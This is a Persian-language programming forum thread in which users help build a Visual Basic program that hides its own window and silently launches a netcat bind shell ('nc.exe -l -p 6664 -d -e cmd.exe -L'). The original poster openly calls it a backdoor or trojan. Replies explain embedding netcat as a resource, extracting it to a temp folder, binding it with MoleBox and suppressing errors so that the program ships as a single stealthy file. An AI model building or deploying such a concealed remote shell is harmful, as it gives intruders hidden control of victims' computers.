سلام من نرم افزار nc رو با کامند
nc.exe -l -p 6664 -d -e cmd.exe -L
می خوام اجرا کنم با ویبی
کدی که نوشتم اینه
کد php:
Private Sub Form_Load()
Form1.Visible = False
Shell ("nc.exe -l -p 6664 -d -e cmd.exe -L")
End Sub
ولی متاسفانه نیاز به فایل nc داره یعنی اگه nc رو پاک کنم ارور میده
حالا من باید چکار کنم که نکردم
از روش ساخت ستاپ نمی خوام استفاده کنم
فقط دوستان nc یه پورت باز میکنه و بعنوان بکدور (تروجان) عمل مینه و ممکنه بعض آنتی ویروسه مثل آنتی ویر گیر بهش بدن
در هر صورت کسی اجرا نکنه
خوب ؟
کجا مشکل دارین ؟؟
مشکلتون اینه که nc رو نمیخوایین بزارین کنار فایل ؟؟ میخوایین ۱ فایل باشه برنامتون کلا ؟
اگه آره ؛ میتونیذ بریزید تو ریسورس ؛ بعد موقع اجرا بریزید تو هارد !
مهندس شما با دستور Shell ("nc.exe -l -p 6664 -d -e cmd.exe -L") از داخل vb برنامه nc رو باز میکنین خب اگه nc وجود نداشته باشه این کد چیو باز کنه برنامه nc حتما باید کنار برنامتون باشه میتونین nc رو تو ریسورس بزارین بعد تو پوشه ای مثل temp اکسترکت کنین و اجرا کنین
ممنون با ریسورس مشکلم حل شد یقه رو خودم پیدا کردم
بعد از اجرای برنامه برای اجرای مجدد
چون nc ران میشه ارور میده که نمی تونه overwriteکنه
و چون برنامه بعد از اجرا بسته میشه
این دستور
کد php:
If App.PrevInstance = True Then
جواب نمیده
حالا چطور میشه از overwrite کردن بعد از اجرای مجدد جلوگیری کرد
با سلام
ميتوني با برنامه MoleBox فايل nc رو به برنامت بچسبوني اونم بصورت Virtual File
يا علي
ممنون دوست عزیز من بایندر مد نظرم نیست بیشتر کدنویسی
یه همچین چیزی میخوام
کد:
if nc داخل مسیر جاری هست then
end
else
call ریسورس
البته تابع ریسورس رو خودم نوشتم
کد:
Dim Fso As FileSystemObject
fso.FileExists (NC Path as String ) as Boolean
سلام
خوب هستيد
فكر كنم اين كد كمك كنه
کد:
if dir ("FilePath") ="" then ' this mean file not exist
....
else ' file exist
...
end if
به اميد ديدار
دوست عزیز موقع اور رایت کردن یعنی اول برنامه خودت این کد را بزار
on error resume next
وقتی برنامه به مشکلی برخورد کرد و خطا گرفت اونو بی خیال میشه
چون ممکنه قبلا برنامه nc را اکسترکت کرده باشی